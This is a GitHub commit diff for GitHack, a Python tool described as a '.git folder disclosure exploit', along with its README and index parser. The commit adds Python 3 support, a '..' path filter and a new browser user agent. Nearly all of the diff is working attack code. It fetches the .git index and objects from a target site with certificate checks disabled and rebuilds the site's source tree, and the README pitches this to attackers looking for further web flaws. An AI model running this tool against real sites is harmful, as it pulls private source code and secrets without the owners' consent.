Skip to content

Commit a511d05

Browse files
committed
bug fix and python3.x support
1 parent caa5ea0 commit a511d05

File tree

3 files changed

+46
-25
lines changed

3 files changed

+46
-25
lines changed

GitHack.py

+37-20
Original file line numberDiff line numberDiff line change
@@ -2,61 +2,74 @@
22
# -*- encoding: utf-8 -*-
33

44
import sys
5-
import urllib2
5+
try:
6+
# python 2.x
7+
import urllib2
8+
import urlparse
9+
import Queue
10+
except Exception as e:
11+
# python 3.x
12+
import urllib.request as urllib2
13+
import urllib.parse as urlparse
14+
import queue as Queue
15+
616
import os
7-
import urlparse
817
import zlib
918
import threading
10-
import Queue
1119
import re
1220
import time
1321
from lib.parser import parse
1422
import ssl
1523

1624
context = ssl._create_unverified_context()
25+
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' \
26+
'Chrome/99.0.4844.82 Safari/537.36'
1727
if len(sys.argv) == 1:
1828
msg = """
1929
A `.git` folder disclosure exploit. By LiJieJie
2030
21-
Usage: GitHack.py http://www.target.com/.git/
22-
23-
bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
31+
Usage: python GitHack.py http://www.target.com/.git/
2432
"""
25-
print msg
33+
print(msg)
2634
sys.exit(0)
2735

2836

2937
class Scanner(object):
3038
def __init__(self):
3139
self.base_url = sys.argv[-1]
3240
self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')
33-
if not os.path.exists(self.domain):
34-
os.mkdir(self.domain)
35-
print '[+] Download and parse index file ...'
36-
data = self._request_data(sys.argv[-1] + '/index')
41+
print('[+] Download and parse index file ...')
42+
try:
43+
data = self._request_data(sys.argv[-1] + '/index')
44+
except Exception as e:
45+
print('[ERROR] index file download file: %s' % str(e))
46+
exit(-1)
3747
with open('index', 'wb') as f:
3848
f.write(data)
49+
if not os.path.exists(self.domain):
50+
os.mkdir(self.domain)
3951
self.queue = Queue.Queue()
4052
for entry in parse('index'):
4153
if "sha1" in entry.keys():
42-
self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
54+
if entry["name"].strip().find('..') < 0:
55+
self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
4356
try:
44-
print entry['name']
57+
print('[+] %s' % entry['name'])
4558
except Exception as e:
4659
pass
4760
self.lock = threading.Lock()
48-
self.thread_count = 20
61+
self.thread_count = 10
4962
self.STOP_ME = False
5063

5164
@staticmethod
5265
def _request_data(url):
53-
request = urllib2.Request(url, None, {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
66+
request = urllib2.Request(url, None, {'User-Agent': user_agent})
5467
return urllib2.urlopen(request, context=context).read()
5568

5669
def _print(self, msg):
5770
self.lock.acquire()
5871
try:
59-
print msg
72+
print(msg)
6073
except Exception as e:
6174
pass
6275
self.lock.release()
@@ -75,15 +88,19 @@ def get_back_file(self):
7588
data = zlib.decompress(data)
7689
except:
7790
self._print('[Error] Fail to decompress %s' % file_name)
78-
data = re.sub(r'blob \d+\00', '', data)
91+
# data = re.sub(r'blob \d+\00', '', data)
92+
try:
93+
data = re.sub(r'blob \d+\00', '', data)
94+
except Exception as e:
95+
data = re.sub(b"blob \\d+\00", b'', data)
7996
target_dir = os.path.join(self.domain, os.path.dirname(file_name))
8097
if target_dir and not os.path.exists(target_dir):
8198
os.makedirs(target_dir)
8299
with open(os.path.join(self.domain, file_name), 'wb') as f:
83100
f.write(data)
84101
self._print('[OK] %s' % file_name)
85102
break
86-
except urllib2.HTTPError, e:
103+
except urllib2.HTTPError as e:
87104
if str(e).find('HTTP Error 404') >= 0:
88105
self._print('[File not found] %s' % file_name)
89106
break
@@ -108,7 +125,7 @@ def scan(self):
108125
try:
109126
while s.thread_count > 0:
110127
time.sleep(0.1)
111-
except KeyboardInterrupt, e:
128+
except KeyboardInterrupt as e:
112129
s.STOP_ME = True
113130
time.sleep(1.0)
114-
print 'User Aborted.'
131+
print('User Aborted.')

README.md

+7-3
Original file line numberDiff line numberDiff line change
@@ -9,14 +9,18 @@ GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文
99

1010
渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。
1111

12-
## 工作原理 ##
12+
## Change Log
13+
14+
* Bug fix and python3.x support. Thanks for [Justin Steven](https://github.com/justinsteven) \'s bug report, it's very helpful.
15+
16+
## How It works ##
1317

1418
* 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
1519
* 去.git/objects/ 文件夹下下载对应的文件
1620
* zlib解压文件,按原始的目录结构写入源代码
1721

18-
## 用法示例 ##
19-
GitHack.py http://www.openssl.org/.git/
22+
## Usage ##
23+
python GitHack.py http://www.openssl.org/.git/
2024

2125
## Thanks ##
2226
Thanks for sbp's great work, I used his .git index parser [gin - a Git index file parser](https://github.com/sbp/gin).

lib/parser.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
def check(boolean, message):
1414
if not boolean:
1515
import sys
16-
print "error: " + message
16+
print("error: " + message)
1717
sys.exit(1)
1818

1919

@@ -123,7 +123,7 @@ def read(format):
123123

124124
padlen = (8 - (entrylen % 8)) or 8
125125
nuls = f.read(padlen)
126-
check(set(nuls) == set(['\x00']), "padding contained non-NUL")
126+
check(set(nuls) == set(['\x00']) or set(nuls) == set(b'\x00'), "padding contained non-NUL")
127127

128128
yield entry
129129

0 commit comments

Comments
 (0)